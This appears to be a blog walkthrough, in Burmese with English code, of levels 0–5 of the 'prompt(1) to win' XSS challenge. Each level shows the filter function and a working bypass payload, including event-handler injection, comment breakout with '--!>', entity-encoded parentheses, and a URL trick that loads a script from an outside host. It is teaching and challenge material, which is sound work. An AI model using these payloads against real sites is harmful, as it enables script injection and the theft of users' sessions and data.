prompt(1) to win Level 00 – 05 [XSS walkthrough]

XSS challenge ေျဖတဲ့ေနရာေလးတစ္ခုျဖစ္ပါတယ္။Escape လုပ္တဲ့အပိုင္းကို ေလ့လာလို႕ရေအာင္ ေျဖၾကည့္ၾကတာေပါ့ ။

http://prompt.ml

Level 0

Source

function escape(input) {
    // warm up
    // script should be executed without user interaction
    return '<input type="text" value="' + input + '">';
}        

Output

<input type="text" value="abc">

Solution

value=”” ထဲျမဳပ္ေနတာေလးကို escape လုပ္ေပးလိုက္ယံုပါပဲ

"><svg/onload=alert(1)>

Level 01

Source

function escape(input) {
    // tags stripping mechanism from ExtJS library
    // Ext.util.Format.stripTags
    var stripTagsRE = /<\/?[^>]+>/gi;
    input = input.replace(stripTagsRE, '');

    return '<article>' + input + '</article>';
}

Output

<article>abc</article>

Solution

ဒီ Replace လုပ္မယ့္ regular expression အေၾကာင္းကိုသိမွအဆင္ေျပမွာျဖစ္ပါတယ္။ အခု regular expression ကေတာ့ <> ကို သံုးလို႕မရတဲ့ regular expression ပဲျဖစ္ပါတယ္။ http://regexr.com/ မွာ စမ္းလိုက္ရင္ မ်က္စိထဲပိုျမင္ေစပါတယ္။ <> က match ျဖစ္ေနတာကိုေတြ႕ရမွာပါ။ ဒါေၾကာင့္ > close tag ကိုမထည့္ပဲနဲ႕ ေရးလိုက္တယ္

<svg/onload=prompt(1)

Level 02

Source

function escape(input) {
    //                      v-- frowny face
    input = input.replace(/[=(]/g, '');

    // ok seriously, disallows equal signs and open parenthesis
    return input;
}

Output

<svg/onloadalert1)>

Solution

= နဲ႕ ( ကို ဖ်က္ပစ္လိုက္တာေတြ႕ရမွာပါ။ = ကေတာ့မသံုးလို႕ရပါတယ္။ event handler မသံုးဘူးဆိုရင္ equal လဲမလိုဘူးေပါ့။ ဒါေပမဲ့ ( ကိုေတာ့သံုးရမယ္။ template string ျဖစ္တဲ့ backtrick နဲ႕စမ္းေတာ့ alert ပဲ အလုပ္လုပ္တယ္ prompt ကအလုပ္မလုပ္ဘူး ။

alert`1`

ဒါေၾကာင့္ HTML entities အေနနဲ႕ပဲ ( ကို encode လုပ္လိုက္မယ္။ ဒီလိုဆို HTML tag ထဲေရာက္ေနဖို႕လိုပါတယ္။ဒါေၾကာင့္ <svg> tag ထဲကိုထည့္လိုက္တယ္။ တကယ့္လို႕ </svg> ကိုသာပိတ္လိုက္မယ္ဆိုရင္ &#40; အလုပ္လုပ္ေတာ့မွာမဟုတ္ပါဘူး။

<svg><script>prompt&#40;1)</script>

Level 03

Source

function escape(input) {
    // filter potential comment end delimiters
    input = input.replace(/->/g, '_');

    // comment the input to avoid script execution
    return '<!-- ' + input + ' -->';
}

Output

<!-- -_abcde -->

Soultion

-> ကို _ အျဖစ္နဲ႕ ေျပာင္းလိုက္ပါတယ္။ ဒီေတာ့ ဒီ Comment ကိုပိတ္လို႕မရေတာ့ပဲနဲ႕ က်ေနာ္တို႕ escape လုပ္လို႕မရေတာ့ဘူးျဖစ္ေနတာေပါ့။ ဒီေနရာမွာ –> ဒီလိုမ်ိဳးပဲ comment ပိတ္လို႕ရတာမဟုတ္ဘူးဆိုတာေလး သိထားရင္အဆင္ေျပျပီ။ –!> ဒီလို comment လဲပိတ္လို႕ရပါတယ္။

--!><svg/onload=prompt(1)>

Level 04

Source

function escape(input) {
    // make sure the script belongs to own site
    // sample script: http://prompt.ml/js/test.js
    if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
        var script = document.createElement('script');
        script.src = input;
        return script.outerHTML;
    } else {
        return 'Invalid resource.';
    }
}

Output

<script src="http://prompt.ml/js/test.js"></script>

Soultion

prompt.ml ပါမွရမွာျဖစ္ပါတယ္။ ဒီေနရာမွာက်ေနာ္တို႕က URL ၂ ခုအေနနဲ႕ inject လုပ္ႏိုင္မွအလုပ္လုပ္ေတာ့မွာျဖစ္ပါတယ္ ေနာက္ထပ္ URL ကိုေတာ့ 14.rs ကိုသံုးထားပါတယ္။

//prompt.ml%2f@14.rs

Level 05

Source

function escape(input) {
    // apply strict filter rules of level 0
    // filter ">" and event handlers
    input = input.replace(/>|on.+?=|focus/gi, '_');

    return '<input value="' + input + '" type="text">';
}

Output

<input value="" auto_/_alert(1)" type="text">

Solution

event handlers ေတြကိုသံုးဖို႕ပိတ္ထားတာကိုေတြ႕ရမွာပါ။ ဒီေတာ့ ဘယ္လိုလုပ္မလဲ ? event handlers ေတြနဲ႕ > ေတြကိုလဲသံုးလို႕မရပါဘူး။ ေနာက္တစ္ခုက focus လုပ္လို႕လဲမရတာေၾကာင့္ oncopy တို႕ လဲသံုးမရဘူး။ ဒါေပမဲ့ hint တစ္ခုအေနနဲ႕ေပးထားတကိုက type ကိုေနာက္မွာထားေပးထားတယ္ဆိုေတာ့ က်ေနာ္တို႕ type ကိုျပင္လိုက္လို႕ရပါတယ္။ image အျဖစ္ကိုေျပာင္းလိုက္မယ္။

"type=image src onerror
="prompt(1)

Thanks for reading xD ေနာက္မွ က်န္တာေလးေတြဆက္ေရးေပးထားမယ္ 😀

1 Comment

Comments are closed.